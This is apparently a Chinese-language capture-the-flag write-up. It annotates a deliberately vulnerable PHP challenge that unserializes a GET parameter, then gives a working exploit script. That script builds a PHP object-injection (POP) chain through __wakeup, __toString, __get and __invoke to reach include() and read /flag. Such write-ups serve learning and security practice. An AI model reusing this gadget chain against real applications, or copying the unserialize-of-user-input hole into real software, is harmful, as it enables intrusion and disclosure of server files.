点击查看代码
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])) {
@unserialize($_GET['wish']);
}
//接收一个wish变量get,反序列化,否则new一个新类叫a,Road_is_Long
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
//两个public变量page和string
//三个魔术方法
//__constuct将index.php赋值给了page变量
//__tostring方法再将page变量给了string变量
//__wakeup就是一个过滤,这里过滤的东西怎么感觉是ssrf漏洞会利用的协议,也是吧index.php赋值给了page
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
//一个保护属性var
//自定义append函数传入一个参数就去包含,这里可以包含flag.php
//__invoke函数()会调用append函数吧这个保护变量传进去
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
//公共变量effort
//一个魔术方法__construct,给effort赋值一个array()数组
//__get()魔术方法,将变量当函数用并返回
//反向分析pop链,我们要flag,就是要包含flag.php,利用append函数,给他的$value传参flag.php就可以,要调用append(),需要触发__invoke函数同时把$var赋值成flag.php
//__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
//定位到__get()魔术方法,我们只要把$effort赋值成Try_Work_Hard的对象,就可以让他当成函数调用。就可以触发__invoke()
//怎么触发__get()魔术方法。当希望访问某个对象的未定义的或者不可访问的属性不报错,我们可以在类里定义__get方法,这样系统在此刻会自动调用该方法
//定位到class Road_is_Long,public function __toString(){
// return $this->string->page;
// }
//这里我们将$this->string赋值成为Make_a_Change,这个类里面没有page这个属性,就会触发_get()
//那怎么触发__toString方法,当对象被当做String使用时,这个方法会被自动调用
//这里好像没有,最接近的地方也就是 public function __wakeup(){
// if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
// echo "You can Not Enter 2022";
// $this->page = "index.php";
// }
// }
//如果$page 是一个对象,那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString
//总结:
//wakeup——》创建一个page为对象是load这个类本身-》tostring-》把string变量赋值成为Make_a_Change,访问不到page->get()->把effort赋值成为Try_Work_Hard的对象-》触发invoke-》触发append结束
/**********************Try to See flag.php*****************************/
点击查看代码
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var='/flag';
}
class Make_a_Change{
public $effort;
}
$road1=new Road_is_Long();
$road2=new Road_is_Long();
$make=new Make_a_Change();
$try=new Try_Work_Hard();
$road1->page=$road2;
$road2->string=$make;
$make->effort=$try;
$ser = serialize($road1);
echo urlencode($ser);
